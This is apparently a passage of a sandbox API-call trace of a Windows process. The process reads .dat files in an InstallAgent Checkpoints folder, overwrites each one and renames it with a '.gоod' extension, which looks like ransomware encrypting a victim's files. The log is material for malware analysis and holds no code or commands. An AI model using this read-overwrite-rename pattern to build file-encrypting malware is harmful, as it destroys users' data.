lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat.gоod", lpFilePart=0x0) returned 0x56 [0239.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0239.254] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a63cb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3a63cb, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8ad28d6e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0239.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0239.255] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHWKN.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhwkn.dat.gоod")) returned 1 [0239.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", lpFilePart=0x0) returned 0x51 [0239.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0239.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), fInfoLevelId=0x0, lpFileInformation=0x386d870 | out: lpFileInformation=0x386d870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6a0f40, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6a0f40, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6a0f40, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2)) returned 1 [0239.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0239.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", lpFilePart=0x0) returned 0x51 [0239.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0239.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.256] GetFileType (hFile=0x828) returned 0x1 [0239.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0239.256] GetFileType (hFile=0x828) returned 0x1 [0239.256] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c2 [0239.256] ReadFile (in: hFile=0x828, lpBuffer=0x386dd20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x386dd20*, lpNumberOfBytesRead=0x207ec5c8*=0x1c2, lpOverlapped=0x0) returned 1 [0239.257] CloseHandle (hObject=0x828) returned 1 [0239.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", lpFilePart=0x0) returned 0x51 [0239.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0239.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.357] GetFileType (hFile=0x82c) returned 0x1 [0239.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0239.357] GetFileType (hFile=0x82c) returned 0x1 [0239.357] WriteFile (in: hFile=0x82c, lpBuffer=0x36e0c48*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36e0c48*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0239.358] CloseHandle (hObject=0x82c) returned 1 [0239.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat", lpFilePart=0x0) returned 0x51 [0239.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat.gоod", lpFilePart=0x0) returned 0x56 [0239.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0239.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6a0f40, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6a0f40, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8ae0dd89, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0239.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0239.359] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ140.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj140.dat.gоod")) returned 1 [0239.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", lpFilePart=0x0) returned 0x51 [0239.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0239.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), fInfoLevelId=0x0, lpFileInformation=0x36e1f20 | out: lpFileInformation=0x36e1f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86a943, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa86a943, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa86a943, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c4)) returned 1 [0239.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0239.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", lpFilePart=0x0) returned 0x51 [0239.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0239.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.360] GetFileType (hFile=0x82c) returned 0x1 [0239.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0239.360] GetFileType (hFile=0x82c) returned 0x1 [0239.360] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c4 [0239.360] ReadFile (in: hFile=0x82c, lpBuffer=0x36e23d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x36e23d0*, lpNumberOfBytesRead=0x207ec5c8*=0x1c4, lpOverlapped=0x0) returned 1 [0239.361] CloseHandle (hObject=0x82c) returned 1 [0240.243] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", lpFilePart=0x0) returned 0x51 [0240.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0240.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.244] GetFileType (hFile=0x824) returned 0x1 [0240.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0240.245] GetFileType (hFile=0x824) returned 0x1 [0240.245] WriteFile (in: hFile=0x824, lpBuffer=0x3bafed8*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3bafed8*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0240.245] CloseHandle (hObject=0x824) returned 1 [0240.245] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat", lpFilePart=0x0) returned 0x51 [0240.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat.gоod", lpFilePart=0x0) returned 0x56 [0240.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0240.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86a943, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa86a943, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8b69be1d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0240.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0240.246] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ364.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj364.dat.gоod")) returned 1 [0240.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", lpFilePart=0x0) returned 0x51 [0240.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0240.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), fInfoLevelId=0x0, lpFileInformation=0x3bb11b0 | out: lpFileInformation=0x3bb11b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dcfd1, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8dcfd1, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8dcfd1, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5)) returned 1 [0240.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0240.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", lpFilePart=0x0) returned 0x51 [0240.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0240.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0240.247] GetFileType (hFile=0x824) returned 0x1 [0240.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0240.247] GetFileType (hFile=0x824) returned 0x1 [0240.247] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c5 [0240.247] ReadFile (in: hFile=0x824, lpBuffer=0x3bb1660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3bb1660*, lpNumberOfBytesRead=0x207ec5c8*=0x1c5, lpOverlapped=0x0) returned 1 [0240.248] CloseHandle (hObject=0x824) returned 1 [0240.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", lpFilePart=0x0) returned 0x51 [0240.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0240.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0240.346] GetFileType (hFile=0x478) returned 0x1 [0240.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0240.346] GetFileType (hFile=0x478) returned 0x1 [0240.347] WriteFile (in: hFile=0x478, lpBuffer=0x3883038*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3883038*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0240.347] CloseHandle (hObject=0x478) returned 1 [0240.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat", lpFilePart=0x0) returned 0x51 [0240.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat.gоod", lpFilePart=0x0) returned 0x56 [0240.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0240.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dcfd1, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8dcfd1, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8b780b8a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0240.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0240.348] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3P2.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3p2.dat.gоod")) returned 1 [0240.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", lpFilePart=0x0) returned 0x51 [0240.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0240.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), fInfoLevelId=0x0, lpFileInformation=0x3884310 | out: lpFileInformation=0x3884310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa464eb7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa464eb7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa464eb7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8)) returned 1 [0240.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0240.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", lpFilePart=0x0) returned 0x51 [0240.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0240.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0240.349] GetFileType (hFile=0x478) returned 0x1 [0240.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0240.349] GetFileType (hFile=0x478) returned 0x1 [0240.349] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c8 [0240.349] ReadFile (in: hFile=0x478, lpBuffer=0x38847c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38847c0*, lpNumberOfBytesRead=0x207ec5c8*=0x1c8, lpOverlapped=0x0) returned 1 [0240.743] CloseHandle (hObject=0x478) returned 1 [0242.548] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", lpFilePart=0x0) returned 0x51 [0242.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0242.548] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.549] GetFileType (hFile=0x828) returned 0x1 [0242.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0242.549] GetFileType (hFile=0x828) returned 0x1 [0242.549] WriteFile (in: hFile=0x828, lpBuffer=0x3972398*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3972398*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0242.549] CloseHandle (hObject=0x828) returned 1 [0242.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat", lpFilePart=0x0) returned 0x51 [0242.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat.gоod", lpFilePart=0x0) returned 0x56 [0242.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0242.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3PM.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3pm.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa464eb7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa464eb7, 